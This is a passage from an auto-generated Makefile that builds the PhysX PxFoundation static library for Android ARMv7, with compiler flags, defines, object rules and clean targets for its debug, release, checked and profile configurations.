PX_NVTX=1\nPxFoundation_debug_libraries := \nPxFoundation_debug_common_cflags\t:= $(PxFoundation_custom_cflags)\nPxFoundation_debug_common_cflags += -MMD\nPxFoundation_debug_common_cflags += $(addprefix -D, $(PxFoundation_debug_defines))\nPxFoundation_debug_common_cflags += $(addprefix -I, $(PxFoundation_debug_hpaths))\nPxFoundation_debug_common_cflags += -Werror\nPxFoundation_debug_common_cflags += -fpic -fno-exceptions\nPxFoundation_debug_common_cflags += -isysroot ../../../../Externals/android-ndk-r9d/platforms/android-16/arch-arm\nPxFoundation_debug_common_cflags += -march=armv7-a -mfpu=neon -marm -mfloat-abi=softfp -mthumb-interwork\nPxFoundation_debug_common_cflags += -Wall -Wextra -Wpedantic -Wstrict-aliasing=2\nPxFoundation_debug_common_cflags += -Wno-maybe-uninitialized -Wno-unused-variable\nPxFoundation_debug_common_cflags += -Wno-variadic-macros\nPxFoundation_debug_common_cflags += -g3 -gdwarf-2\nPxFoundation_debug_cflags\t:= $(PxFoundation_debug_common_cflags)\nPxFoundation_debug_cflags += -std=c99\nPxFoundation_debug_cppflags\t:= $(PxFoundation_debug_common_cflags)\nPxFoundation_debug_cppflags += -fno-rtti\nPxFoundation_debug_cppflags += -Wno-invalid-offsetof\nPxFoundation_debug_lflags := $(PxFoundation_custom_lflags)\nPxFoundation_debug_lflags += $(addprefix -L, $(PxFoundation_debug_lpaths))\nPxFoundation_debug_lflags += -Wl,--start-group $(addprefix -l, $(PxFoundation_debug_libraries)) -Wl,--end-group\nPxFoundation_debug_lflags += --sysroot=../../../../Externals/android-ndk-r9d/platforms/android-16/arch-arm\nPxFoundation_debug_objsdir = $(OBJS_DIR)/PxFoundation_debug\nPxFoundation_debug_cpp_o = $(addprefix $(PxFoundation_debug_objsdir)/, $(subst ./, , $(subst ../, , $(patsubst %.cpp, %.cpp.o, $(PxFoundation_cppfiles)))))\nPxFoundation_debug_cc_o = $(addprefix $(PxFoundation_debug_objsdir)/, $(subst ./, , $(subst ../, , $(patsubst %.cc, %.cc.o, $(PxFoundation_ccfiles)))))\nPxFoundation_debug_c_o = $(addprefix $(PxFoundation_debug_objsdir)/, $(subst ./, , $(subst ../, , $(patsubst %.c, %.c.o, $(PxFoundation_cfiles)))))\nPxFoundation_debug_obj = $(PxFoundation_debug_cpp_o) $(PxFoundation_debug_cc_o) $(PxFoundation_debug_c_o)\nPxFoundation_debug_bin := ./../../../../PxShared/lib/android16/libPxFoundationDEBUG.a\n\nclean_PxFoundation_debug: \n\t@$(ECHO) clean PxFoundation debug\n\t@$(RMDIR) $(PxFoundation_debug_objsdir)\n\t@$(RMDIR) $(PxFoundation_debug_bin)\n\t@$(RMDIR) $(DEPSDIR)/PxFoundation/debug\n\nbuild_PxFoundation_debug: postbuild_PxFoundation_debug\npostbuild_PxFoundation_debug: mainbuild_PxFoundation_debug\nmainbuild_PxFoundation_debug: prebuild_PxFoundation_debug $(PxFoundation_debug_bin)\nprebuild_PxFoundation_debug:\n\n$(PxFoundation_debug_bin): $(PxFoundation_debug_obj) \n\tmkdir -p `dirname ./../../../../PxShared/lib/android16/libPxFoundationDEBUG.a`\n\t@$(AR) rcs $(PxFoundation_debug_bin) $(PxFoundation_debug_obj)\n\t$(ECHO) building $@ complete!\n\nPxFoundation_debug_DEPDIR = $(dir $(@))/$(*F)\n$(PxFoundation_debug_cpp_o): $(PxFoundation_debug_objsdir)/%.o:\n\t$(ECHO) PxFoundation: compiling debug $(filter %$(strip $(subst .cpp.o,.cpp, $(subst $(PxFoundation_debug_objsdir),, $@))), $(PxFoundation_cppfiles))...\n\tmkdir -p $(dir $(@))\n\t$(CXX) $(PxFoundation_debug_cppflags) -c $(filter %$(strip $(subst .cpp.o,.cpp, $(subst $(PxFoundation_debug_objsdir),, $@))), $(PxFoundation_cppfiles)) -o $@\n\t@mkdir -p $(dir $(addprefix $(DEPSDIR)/PxFoundation/debug/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .cpp.o,.cpp, $(subst $(PxFoundation_debug_objsdir),, $@))), $(PxFoundation_cppfiles))))))\n\tcp $(PxFoundation_debug_DEPDIR).d $(addprefix $(DEPSDIR)/PxFoundation/debug/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .cpp.o,.cpp, $(subst $(PxFoundation_debug_objsdir),, $@))), $(PxFoundation_cppfiles))))).P; \\\n\t sed -e 's/#.*//' -e 's/^[^:]*: *//' -e 's/ *\\\\$$//' \\\n\t\t-e '/^$$/ d' -e 's/$$/ :/' < $(PxFoundation_debug_DEPDIR).d >> $(addprefix $(DEPSDIR)/PxFoundation/debug/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .cpp.o,.cpp, $(subst $(PxFoundation_debug_objsdir),, $@))), $(PxFoundation_cppfiles))))).P; \\\n\t rm -f $(PxFoundation_debug_DEPDIR).d\n\n$(PxFoundation_debug_cc_o): $(PxFoundation_debug_objsdir)/%.o:\n\t$(ECHO) PxFoundation: compiling debug $(filter %$(strip $(subst .cc.o,.cc, $(subst $(PxFoundation_debug_objsdir),, $@))), $(PxFoundation_ccfiles))...\n\tmkdir -p $(dir $(@))\n\t$(CXX) $(PxFoundation_debug_cppflags) -c $(filter %$(strip $(subst .cc.o,.cc, $(subst $(PxFoundation_debug_objsdir),, $@))), $(PxFoundation_ccfiles)) -o $@\n\tmkdir -p $(dir $(addprefix $(DEPSDIR)/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .cc.o,.cc, $(subst $(PxFoundation_debug_objsdir),, $@))), $(PxFoundation_ccfiles))))))\n\tcp $(PxFoundation_debug_DEPDIR).d $(addprefix $(DEPSDIR)/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .cc.o,.cc, $(subst $(PxFoundation_debug_objsdir),, $@))), $(PxFoundation_ccfiles))))).debug.P; \\\n\t sed -e 's/#.*//' -e 's/^[^:]*: *//' -e 's/ *\\\\$$//' \\\n\t\t-e '/^$$/ d' -e 's/$$/ :/' < $(PxFoundation_debug_DEPDIR).d >> $(addprefix $(DEPSDIR)/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .cc.o,.cc, $(subst $(PxFoundation_debug_objsdir),, $@))), $(PxFoundation_ccfiles))))).debug.P; \\\n\t rm -f $(PxFoundation_debug_DEPDIR).d\n\n$(PxFoundation_debug_c_o): $(PxFoundation_debug_objsdir)/%.o:\n\t$(ECHO) PxFoundation: compiling debug $(filter %$(strip $(subst .c.o,.c, $(subst $(PxFoundation_debug_objsdir),, $@))), $(PxFoundation_cfiles))...\n\tmkdir -p $(dir $(@))\n\t$(CC) $(PxFoundation_debug_cflags) -c $(filter %$(strip $(subst .c.o,.c, $(subst $(PxFoundation_debug_objsdir),, $@))), $(PxFoundation_cfiles)) -o $@ \n\t@mkdir -p $(dir $(addprefix $(DEPSDIR)/PxFoundation/debug/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .c.o,.c, $(subst $(PxFoundation_debug_objsdir),, $@))), $(PxFoundation_cfiles))))))\n\tcp $(PxFoundation_debug_DEPDIR).d $(addprefix $(DEPSDIR)/PxFoundation/debug/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .c.o,.c, $(subst $(PxFoundation_debug_objsdir),, $@))), $(PxFoundation_cfiles))))).P; \\\n\t sed -e 's/#.*//' -e 's/^[^:]*: *//' -e 's/ *\\\\$$//' \\\n\t\t-e '/^$$/ d' -e 's/$$/ :/' < $(PxFoundation_debug_DEPDIR).d >> $(addprefix $(DEPSDIR)/PxFoundation/debug/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .c.o,.c, $(subst $(PxFoundation_debug_objsdir),, $@))), $(PxFoundation_cfiles))))).P; \\\n\t rm -f $(PxFoundation_debug_DEPDIR).d\n\nPxFoundation_release_hpaths := \nPxFoundation_release_hpaths += ./../../../../PxShared/include\nPxFoundation_release_hpaths += ./../../../../PxShared/src/foundation/include\nPxFoundation_release_hpaths += ./../../../../Externals/android-ndk-r9d/sources/cxx-stl/gnu-libstdc++/4.8/include\nPxFoundation_release_hpaths += ./../../../../Externals/android-ndk-r9d/sources/cxx-stl/gnu-libstdc++/4.8/libs/armeabi-v7a/include\nPxFoundation_release_lpaths := \nPxFoundation_release_defines := $(PxFoundation_custom_defines)\nPxFoundation_release_defines += ANDROID\nPxFoundation_release_defines += GLES2\nPxFoundation_release_defines += __STDC_LIMIT_MACROS\nPxFoundation_release_defines += __ARM_ARCH_5__\nPxFoundation_release_defines += __ARM_ARCH_5T__\nPxFoundation_release_defines += __ARM_ARCH_5E__\nPxFoundation_release_defines += __ARM_ARCH_5TE__\nPxFoundation_release_defines += PxShared_STATIC_LIB\nPxFoundation_release_defines += NDEBUG\nPxFoundation_release_libraries := \nPxFoundation_release_common_cflags\t:= $(PxFoundation_custom_cflags)\nPxFoundation_release_common_cflags += -MMD\nPxFoundation_release_common_cflags += $(addprefix -D, $(PxFoundation_release_defines))\nPxFoundation_release_common_cflags += $(addprefix -I, $(PxFoundation_release_hpaths))\nPxFoundation_release_common_cflags += -Werror\nPxFoundation_release_common_cflags += -fpic -fno-exceptions\nPxFoundation_release_common_cflags += -isysroot ../../../../Externals/android-ndk-r9d/platforms/android-16/arch-arm\nPxFoundation_release_common_cflags += -march=armv7-a -mfpu=neon -marm -mfloat-abi=softfp -mthumb-interwork\nPxFoundation_release_common_cflags += -Wall -Wextra -Wpedantic -Wstrict-aliasing=2\nPxFoundation_release_common_cflags += -Wno-maybe-uninitialized -Wno-unused-variable\nPxFoundation_release_common_cflags += -Wno-variadic-macros\nPxFoundation_release_common_cflags += -O3 -fno-strict-aliasing\nPxFoundation_release_common_cflags += -ffunction-sections -funwind-tables -fstack-protector\nPxFoundation_release_common_cflags += -fomit-frame-pointer -funswitch-loops -finline-limit=300\nPxFoundation_release_cflags\t:= $(PxFoundation_release_common_cflags)\nPxFoundation_release_cflags += -std=c99\nPxFoundation_release_cppflags\t:= $(PxFoundation_release_common_cflags)\nPxFoundation_release_cppflags += -fno-rtti\nPxFoundation_release_cppflags += -Wno-invalid-offsetof\nPxFoundation_release_lflags := $(PxFoundation_custom_lflags)\nPxFoundation_release_lflags += $(addprefix -L, $(PxFoundation_release_lpaths))\nPxFoundation_release_lflags += -Wl,--start-group $(addprefix -l, $(PxFoundation_release_libraries)) -Wl,--end-group\nPxFoundation_release_lflags += --sysroot=../../../../Externals/android-ndk-r9d/platforms/android-16/arch-arm\nPxFoundation_release_objsdir = $(OBJS_DIR)/PxFoundation_release\nPxFoundation_release_cpp_o = $(addprefix $(PxFoundation_release_objsdir)/, $(subst ./, , $(subst ../, , $(patsubst %.cpp, %.cpp.o, $(PxFoundation_cppfiles)))))\nPxFoundation_release_cc_o = $(addprefix $(PxFoundation_release_objsdir)/, $(subst ./, , $(subst ../, , $(patsubst %.cc, %.cc.o, $(PxFoundation_ccfiles)))))\nPxFoundation_release_c_o = $(addprefix $(PxFoundation_release_objsdir)/, $(subst ./, , $(subst ../, , $(patsubst %.c, %.c.o, $(PxFoundation_cfiles)))))\nPxFoundation_release_obj = $(PxFoundation_release_cpp_o) $(PxFoundation_release_cc_o) $(PxFoundation_release_c_o)\nPxFoundation_release_bin := ./../../../../PxShared/lib/android16/libPxFoundation.a\n\nclean_PxFoundation_release: \n\t@$(ECHO) clean PxFoundation release\n\t@$(RMDIR) $(PxFoundation_release_objsdir)\n\t@$(RMDIR) $(PxFoundation_release_bin)\n\t@$(RMDIR) $(DEPSDIR)/PxFoundation/release\n\nbuild_PxFoundation_release: postbuild_PxFoundation_release\npostbuild_PxFoundation_release: mainbuild_PxFoundation_release\nmainbuild_PxFoundation_release: prebuild_PxFoundation_release $(PxFoundation_release_bin)\nprebuild_PxFoundation_release:\n\n$(PxFoundation_release_bin): $(PxFoundation_release_obj) \n\tmkdir -p `dirname ./../../../../PxShared/lib/android16/libPxFoundation.a`\n\t@$(AR) rcs $(PxFoundation_release_bin) $(PxFoundation_release_obj)\n\t$(ECHO) building $@ complete!\n\nPxFoundation_release_DEPDIR = $(dir $(@))/$(*F)\n$(PxFoundation_release_cpp_o): $(PxFoundation_release_objsdir)/%.o:\n\t$(ECHO) PxFoundation: compiling release $(filter %$(strip $(subst .cpp.o,.cpp, $(subst $(PxFoundation_release_objsdir),, $@))), $(PxFoundation_cppfiles))...\n\tmkdir -p $(dir $(@))\n\t$(CXX) $(PxFoundation_release_cppflags) -c $(filter %$(strip $(subst .cpp.o,.cpp, $(subst $(PxFoundation_release_objsdir),, $@))), $(PxFoundation_cppfiles)) -o $@\n\t@mkdir -p $(dir $(addprefix $(DEPSDIR)/PxFoundation/release/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .cpp.o,.cpp, $(subst $(PxFoundation_release_objsdir),, $@))), $(PxFoundation_cppfiles))))))\n\tcp $(PxFoundation_release_DEPDIR).d $(addprefix $(DEPSDIR)/PxFoundation/release/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .cpp.o,.cpp, $(subst $(PxFoundation_release_objsdir),, $@))), $(PxFoundation_cppfiles))))).P; \\\n\t sed -e 's/#.*//' -e 's/^[^:]*: *//' -e 's/ *\\\\$$//' \\\n\t\t-e '/^$$/ d' -e 's/$$/ :/' < $(PxFoundation_release_DEPDIR).d >> $(addprefix $(DEPSDIR)/PxFoundation/release/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .cpp.o,.cpp, $(subst $(PxFoundation_release_objsdir),, $@))), $(PxFoundation_cppfiles))))).P; \\\n\t rm -f $(PxFoundation_release_DEPDIR).d\n\n$(PxFoundation_release_cc_o): $(PxFoundation_release_objsdir)/%.o:\n\t$(ECHO) PxFoundation: compiling release $(filter %$(strip $(subst .cc.o,.cc, $(subst $(PxFoundation_release_objsdir),, $@))), $(PxFoundation_ccfiles))...\n\tmkdir -p $(dir $(@))\n\t$(CXX) $(PxFoundation_release_cppflags) -c $(filter %$(strip $(subst .cc.o,.cc, $(subst $(PxFoundation_release_objsdir),, $@))), $(PxFoundation_ccfiles)) -o $@\n\tmkdir -p $(dir $(addprefix $(DEPSDIR)/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .cc.o,.cc, $(subst $(PxFoundation_release_objsdir),, $@))), $(PxFoundation_ccfiles))))))\n\tcp $(PxFoundation_release_DEPDIR).d $(addprefix $(DEPSDIR)/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .cc.o,.cc, $(subst $(PxFoundation_release_objsdir),, $@))), $(PxFoundation_ccfiles))))).release.P; \\\n\t sed -e 's/#.*//' -e 's/^[^:]*: *//' -e 's/ *\\\\$$//' \\\n\t\t-e '/^$$/ d' -e 's/$$/ :/' < $(PxFoundation_release_DEPDIR).d >> $(addprefix $(DEPSDIR)/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .cc.o,.cc, $(subst $(PxFoundation_release_objsdir),, $@))), $(PxFoundation_ccfiles))))).release.P; \\\n\t rm -f $(PxFoundation_release_DEPDIR).d\n\n$(PxFoundation_release_c_o): $(PxFoundation_release_objsdir)/%.o:\n\t$(ECHO) PxFoundation: compiling release $(filter %$(strip $(subst .c.o,.c, $(subst $(PxFoundation_release_objsdir),, $@))), $(PxFoundation_cfiles))...\n\tmkdir -p $(dir $(@))\n\t$(CC) $(PxFoundation_release_cflags) -c $(filter %$(strip $(subst .c.o,.c, $(subst $(PxFoundation_release_objsdir),, $@))), $(PxFoundation_cfiles)) -o $@ \n\t@mkdir -p $(dir $(addprefix $(DEPSDIR)/PxFoundation/release/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .c.o,.c, $(subst $(PxFoundation_release_objsdir),, $@))), $(PxFoundation_cfiles))))))\n\tcp $(PxFoundation_release_DEPDIR).d $(addprefix $(DEPSDIR)/PxFoundation/release/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .c.o,.c, $(subst $(PxFoundation_release_objsdir),, $@))), $(PxFoundation_cfiles))))).P; \\\n\t sed -e 's/#.*//' -e 's/^[^:]*: *//' -e 's/ *\\\\$$//' \\\n\t\t-e '/^$$/ d' -e 's/$$/ :/' < $(PxFoundation_release_DEPDIR).d >> $(addprefix $(DEPSDIR)/PxFoundation/release/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .c.o,.c, $(subst $(PxFoundation_release_objsdir),, $@))), $(PxFoundation_cfiles))))).P; \\\n\t rm -f $(PxFoundation_release_DEPDIR).d\n\nPxFoundation_checked_hpaths := \nPxFoundation_checked_hpaths += ./../../../../PxShared/include\nPxFoundation_checked_hpaths += ./../../../../PxShared/src/foundation/include\nPxFoundation_checked_hpaths += ./../../../../Externals/android-ndk-r9d/sources/cxx-stl/gnu-libstdc++/4.8/include\nPxFoundation_checked_hpaths += ./../../../../Externals/android-ndk-r9d/sources/cxx-stl/gnu-libstdc++/4.8/libs/armeabi-v7a/include\nPxFoundation_checked_lpaths := \nPxFoundation_checked_defines := $(PxFoundation_custom_defines)\nPxFoundation_checked_defines += ANDROID\nPxFoundation_checked_defines += GLES2\nPxFoundation_checked_defines += __STDC_LIMIT_MACROS\nPxFoundation_checked_defines += __ARM_ARCH_5__\nPxFoundation_checked_defines += __ARM_ARCH_5T__\nPxFoundation_checked_defines += __ARM_ARCH_5E__\nPxFoundation_checked_defines += __ARM_ARCH_5TE__\nPxFoundation_checked_defines += PxShared_STATIC_LIB\nPxFoundation_checked_defines += NDEBUG\nPxFoundation_checked_defines += PX_CHECKED=1\nPxFoundation_checked_defines += PX_NVTX=1\nPxFoundation_checked_libraries := \nPxFoundation_checked_common_cflags\t:= $(PxFoundation_custom_cflags)\nPxFoundation_checked_common_cflags += -MMD\nPxFoundation_checked_common_cflags += $(addprefix -D, $(PxFoundation_checked_defines))\nPxFoundation_checked_common_cflags += $(addprefix -I, $(PxFoundation_checked_hpaths))\nPxFoundation_checked_common_cflags += -Werror\nPxFoundation_checked_common_cflags += -fpic -fno-exceptions\nPxFoundation_checked_common_cflags += -isysroot ../../../../Externals/android-ndk-r9d/platforms/android-16/arch-arm\nPxFoundation_checked_common_cflags += -march=armv7-a -mfpu=neon -marm -mfloat-abi=softfp -mthumb-interwork\nPxFoundation_checked_common_cflags += -Wall -Wextra -Wpedantic -Wstrict-aliasing=2\nPxFoundation_checked_common_cflags += -Wno-maybe-uninitialized -Wno-unused-variable\nPxFoundation_checked_common_cflags += -Wno-variadic-macros\nPxFoundation_checked_common_cflags += -g3 -gdwarf-2 -O3 -fno-strict-aliasing\nPxFoundation_checked_common_cflags += -ffunction-sections -funwind-tables -fstack-protector\nPxFoundation_checked_common_cflags += -fomit-frame-pointer -funswitch-loops -finline-limit=300\nPxFoundation_checked_cflags\t:= $(PxFoundation_checked_common_cflags)\nPxFoundation_checked_cflags += -std=c99\nPxFoundation_checked_cppflags\t:= $(PxFoundation_checked_common_cflags)\nPxFoundation_checked_cppflags += -fno-rtti\nPxFoundation_checked_cppflags += -Wno-invalid-offsetof\nPxFoundation_checked_lflags := $(PxFoundation_custom_lflags)\nPxFoundation_checked_lflags += $(addprefix -L, $(PxFoundation_checked_lpaths))\nPxFoundation_checked_lflags += -Wl,--start-group $(addprefix -l, $(PxFoundation_checked_libraries)) -Wl,--end-group\nPxFoundation_checked_lflags += --sysroot=../../../../Externals/android-ndk-r9d/platforms/android-16/arch-arm\nPxFoundation_checked_objsdir = $(OBJS_DIR)/PxFoundation_checked\nPxFoundation_checked_cpp_o = $(addprefix $(PxFoundation_checked_objsdir)/, $(subst ./, , $(subst ../, , $(patsubst %.cpp, %.cpp.o, $(PxFoundation_cppfiles)))))\nPxFoundation_checked_cc_o = $(addprefix $(PxFoundation_checked_objsdir)/, $(subst ./, , $(subst ../, , $(patsubst %.cc, %.cc.o, $(PxFoundation_ccfiles)))))\nPxFoundation_checked_c_o = $(addprefix $(PxFoundation_checked_objsdir)/, $(subst ./, , $(subst ../, , $(patsubst %.c, %.c.o, $(PxFoundation_cfiles)))))\nPxFoundation_checked_obj = $(PxFoundation_checked_cpp_o) $(PxFoundation_checked_cc_o) $(PxFoundation_checked_c_o)\nPxFoundation_checked_bin := ./../../../../PxShared/lib/android16/libPxFoundationCHECKED.a\n\nclean_PxFoundation_checked: \n\t@$(ECHO) clean PxFoundation checked\n\t@$(RMDIR) $(PxFoundation_checked_objsdir)\n\t@$(RMDIR) $(PxFoundation_checked_bin)\n\t@$(RMDIR) $(DEPSDIR)/PxFoundation/checked\n\nbuild_PxFoundation_checked: postbuild_PxFoundation_checked\npostbuild_PxFoundation_checked: mainbuild_PxFoundation_checked\nmainbuild_PxFoundation_checked: prebuild_PxFoundation_checked $(PxFoundation_checked_bin)\nprebuild_PxFoundation_checked:\n\n$(PxFoundation_checked_bin): $(PxFoundation_checked_obj) \n\tmkdir -p `dirname ./../../../../PxShared/lib/android16/libPxFoundationCHECKED.a`\n\t@$(AR) rcs $(PxFoundation_checked_bin) $(PxFoundation_checked_obj)\n\t$(ECHO) building $@ complete!\n\nPxFoundation_checked_DEPDIR = $(dir $(@))/$(*F)\n$(PxFoundation_checked_cpp_o): $(PxFoundation_checked_objsdir)/%.o:\n\t$(ECHO) PxFoundation: compiling checked $(filter %$(strip $(subst .cpp.o,.cpp, $(subst $(PxFoundation_checked_objsdir),, $@))), $(PxFoundation_cppfiles))...\n\tmkdir -p $(dir $(@))\n\t$(CXX) $(PxFoundation_checked_cppflags) -c $(filter %$(strip $(subst .cpp.o,.cpp, $(subst $(PxFoundation_checked_objsdir),, $@))), $(PxFoundation_cppfiles)) -o $@\n\t@mkdir -p $(dir $(addprefix $(DEPSDIR)/PxFoundation/checked/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .cpp.o,.cpp, $(subst $(PxFoundation_checked_objsdir),, $@))), $(PxFoundation_cppfiles))))))\n\tcp $(PxFoundation_checked_DEPDIR).d $(addprefix $(DEPSDIR)/PxFoundation/checked/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .cpp.o,.cpp, $(subst $(PxFoundation_checked_objsdir),, $@))), $(PxFoundation_cppfiles))))).P; \\\n\t sed -e 's/#.*//' -e 's/^[^:]*: *//' -e 's/ *\\\\$$//' \\\n\t\t-e '/^$$/ d' -e 's/$$/ :/' < $(PxFoundation_checked_DEPDIR).d >> $(addprefix $(DEPSDIR)/PxFoundation/checked/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .cpp.o,.cpp, $(subst $(PxFoundation_checked_objsdir),, $@))), $(PxFoundation_cppfiles))))).P; \\\n\t rm -f $(PxFoundation_checked_DEPDIR).d\n\n$(PxFoundation_checked_cc_o): $(PxFoundation_checked_objsdir)/%.o:\n\t$(ECHO) PxFoundation: compiling checked $(filter %$(strip $(subst .cc.o,.cc, $(subst $(PxFoundation_checked_objsdir),, $@))), $(PxFoundation_ccfiles))...\n\tmkdir -p $(dir $(@))\n\t$(CXX) $(PxFoundation_checked_cppflags) -c $(filter %$(strip $(subst .cc.o,.cc, $(subst $(PxFoundation_checked_objsdir),, $@))), $(PxFoundation_ccfiles)) -o $@\n\tmkdir -p $(dir $(addprefix $(DEPSDIR)/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .cc.o,.cc, $(subst $(PxFoundation_checked_objsdir),, $@))), $(PxFoundation_ccfiles))))))\n\tcp $(PxFoundation_checked_DEPDIR).d $(addprefix $(DEPSDIR)/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .cc.o,.cc, $(subst $(PxFoundation_checked_objsdir),, $@))), $(PxFoundation_ccfiles))))).checked.P; \\\n\t sed -e 's/#.*//' -e 's/^[^:]*: *//' -e 's/ *\\\\$$//' \\\n\t\t-e '/^$$/ d' -e 's/$$/ :/' < $(PxFoundation_checked_DEPDIR).d >> $(addprefix $(DEPSDIR)/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .cc.o,.cc, $(subst $(PxFoundation_checked_objsdir),, $@))), $(PxFoundation_ccfiles))))).checked.P; \\\n\t rm -f $(PxFoundation_checked_DEPDIR).d\n\n$(PxFoundation_checked_c_o): $(PxFoundation_checked_objsdir)/%.o:\n\t$(ECHO) PxFoundation: compiling checked $(filter %$(strip $(subst .c.o,.c, $(subst $(PxFoundation_checked_objsdir),, $@))), $(PxFoundation_cfiles))...\n\tmkdir -p $(dir $(@))\n\t$(CC) $(PxFoundation_checked_cflags) -c $(filter %$(strip $(subst .c.o,.c, $(subst $(PxFoundation_checked_objsdir),, $@))), $(PxFoundation_cfiles)) -o $@ \n\t@mkdir -p $(dir $(addprefix $(DEPSDIR)/PxFoundation/checked/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .c.o,.c, $(subst $(PxFoundation_checked_objsdir),, $@))), $(PxFoundation_cfiles))))))\n\tcp $(PxFoundation_checked_DEPDIR).d $(addprefix $(DEPSDIR)/PxFoundation/checked/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .c.o,.c, $(subst $(PxFoundation_checked_objsdir),, $@))), $(PxFoundation_cfiles))))).P; \\\n\t sed -e 's/#.*//' -e 's/^[^:]*: *//' -e 's/ *\\\\$$//' \\\n\t\t-e '/^$$/ d' -e 's/$$/ :/' < $(PxFoundation_checked_DEPDIR).d >> $(addprefix $(DEPSDIR)/PxFoundation/checked/, $(subst ./, , $(subst ../, , $(filter %$(strip $(subst .c.o,.c, $(subst $(PxFoundation_checked_objsdir),, $@))), $(PxFoundation_cfiles))))).P; \\\n\t rm -f $(PxFoundation_checked_DEPDIR).d\n\nPxFoundation_profile_hpaths := \nPxFoundation_profile_hpaths += ./../../../../PxShared/include\nPxFoundation_profile_hpaths += ./../../../../PxShared/src/foundation/include\nPxFoundation_profile_hpaths += ./../../../../Externals/android-ndk-r9d/sources/cxx-stl/gnu-libstdc++/4.8/include\nPxFoundation_profile_hpaths += ./../../../../Externals/android-ndk-r9d/sources/cxx-stl/gnu-libstdc++/4.8/libs/armeabi-v7a/include\nPxFoundation_profile_lpaths := \nPxFoundation_profile_defines := $(PxFoundation_custom_defines)\nPxFoundation_profile_defines += ANDROID\nPxFoundation_profile_defines += GLES2\nPxFoundation_profile_defines += __STDC_LIMIT_MACROS\nPxFoundation_profile_defines += __ARM_ARCH_5__\nPxFoundation_profile_defines += __ARM_ARCH_5T__\nPxFoundation_profile_defines += __ARM_ARCH_5E__\nPxFoundation_profile_defines += __ARM_ARCH_5TE__\nPxFoundation_profile_defines += PxShared_STATIC_LIB\nPxFoundation_profile_defines += NDEBUG\nPxFoundation_profile_defines += PX_PROFILE=1\nPxFoundation_profile_defines += PX_NVTX=1\nPxFoundation_profile_libraries := \nPxFoundation_profile_common_cflags\t:= $(PxFoundation_custom_cflags)\nPxFoundation_profile_common_cflags += -MMD\nPxFoundation_profile_common_cflags += $(addprefix -D, $(PxFoundation_profile_defines))\nPxFoundation_profile_common_cflags += $(addprefix -I, $(PxFoundation_profile_hpaths))\nPxFoundation_profile_common_cflags += -Werror\nPxFoundation_profile_common_cflags += -fpic -fno-exceptions\nPxFoundation_profile_common_cflags += -isysroot ../../../../Externals/android-ndk-r9d/platforms/android-16/arch-arm\nPxFoundation_profile_common_cflags += -march=armv7-a -mfpu=neon -marm -mfloat-abi=softfp -mthumb-interwork\nPxFoundation_profile_common_cflags += -Wall -Wextra -Wpedantic -Wstrict-aliasing=2\nPxFoundation_profile_common_cflags += -Wno-maybe-uninitialized -Wno-unused-variable\nPxFoundation_profile_common_cflags += -Wno-variadic-macros\nPxFoundation_profile_common_cflags += -O3 -fno-strict-aliasing\nPxFoundation_profile_common_cflags += -ffunction-sections -funwind-tables -fstack-protector\nPxFoundation_profile_common_cflags += -fno-omit-frame-pointer -funswitch-loops -finline-limit=300\nPxFoundation_profile_cflags\t:= $(PxFoundation_profile_common_cflags)\nPxFoundation_profile_cflags += -std=c99\nPxFoundation_profile_cppflags\t:= $(PxFoundation_profile_common_cflags)\nPxFoundation_profile_cppflags += -fno-rtti\nPxFoundation_profile_cppflags += -Wno-invalid-offsetof\nPxFoundation_profile_lflags := $(PxFoundation_custom_lflags)\nPxFoundation_profile_lflags += $(addprefix -L, $(PxFoundation_profile_lpaths))\nPxFoundation_profile_lflags += -Wl,--start-group $(addprefix -l, $(PxFoundation_profile_libraries)) -Wl,--end-group\nPxFoundation_profile_lflags += --sysroot=../../../../Externals/android-ndk-r9d/platforms/android-16/arch-arm\nPxFoundation_profile_objsdir = $(OBJS_DIR)/PxFoundation_profile\nPxFoundation_profile_cpp_o = $(addprefix $(PxFoundation_profile_objsdir)/, $(subst ./, , $(subst ../, , $(patsubst %.cpp, %.cpp.o, $(PxFoundation_cppfiles)))))\nPxFoundation_profile_cc_o = $(addprefix $(PxFoundation_profile_objsdir)/, $(subst ./, , $(subst ../, , $(patsubst %.cc, %.cc.o, $(PxFoundation_ccfiles)))))\nPxFoundation_profile_c_o = $(addprefix $(PxFoundation_profile_objsdir)/, $(subst ./, , $(subst ../, , $(patsubst %.c, %.c.o, $(PxFoundation_cfiles)))))\nPxFoundation_profile_obj = $(PxFoundation_profile_cpp_o) $(PxFoundation_profile_cc_o) $(PxFoundation_profile_c_o)\nPxFoundation_profile_bin := ./../../../../PxShared/lib/android16/libPxFoundationPROFILE.a\n\nclean_PxFoundation_profile: \n\t@$(ECHO) clean PxFoundation profile\n\t@$(RMDIR) $(PxFoundation_profile_objsdir)\n\t@$(RMDIR) $(PxFoundation_profile_bin)\n\t@$(RMDIR) $(DEPSDIR)/PxFoundation/profile\n\nbuild_PxFoundation_profile: postbuild_PxFoundation_profile\npostbuild_PxFoundation_profile: mainbuild_PxFoundation_profile\nmainbuild_PxFoundation_profile: prebuild_PxFoundation_profile $(PxFoundation_profile_bin)\nprebuild_PxFoundation_profile:\n\n$(PxFoundation_profile_bin): $(PxFoundation_profile_obj) \n\tmkdir -p `dirname 